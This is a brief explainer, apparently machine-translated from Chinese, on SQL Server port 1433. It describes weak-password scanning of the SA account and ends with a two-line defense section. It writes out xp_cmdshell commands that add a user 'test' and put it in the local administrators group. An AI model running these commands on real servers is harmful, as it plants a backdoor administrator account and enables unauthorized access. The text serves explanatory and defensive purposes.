First, 1433
1433 port is the default port SQL Server, SQL Server service uses two ports: TCP-1433, UDP-1434. Which is used for SQL Server 1433 provide services for returning SQL Server 1434 which uses the TCP / IP port to the requester.
Second, the 1433 invasion
Common port 1433 invasion, namely the invasion of MSSql services, the user is SA weak password scanning.
SA is a Microsoft SQLServer Administrator account, with the highest authority, it can execute extended stored procedure and get the return value, such as the implementation of:
exec master..xp_cmdshell 'net user test 12345 /add'和exec master..xp_cmd
shell 'net localgroup administrators test /add'Such was the other's system adds a user named test, code is 12345, the user has administrator rights.
Third, the 1433 defense
Here we refer to: https://wenku.baidu.com/view/43d7676a25c52cc58bd6beab.html
1. Turn off the port 1433;
2. Configure security policy.
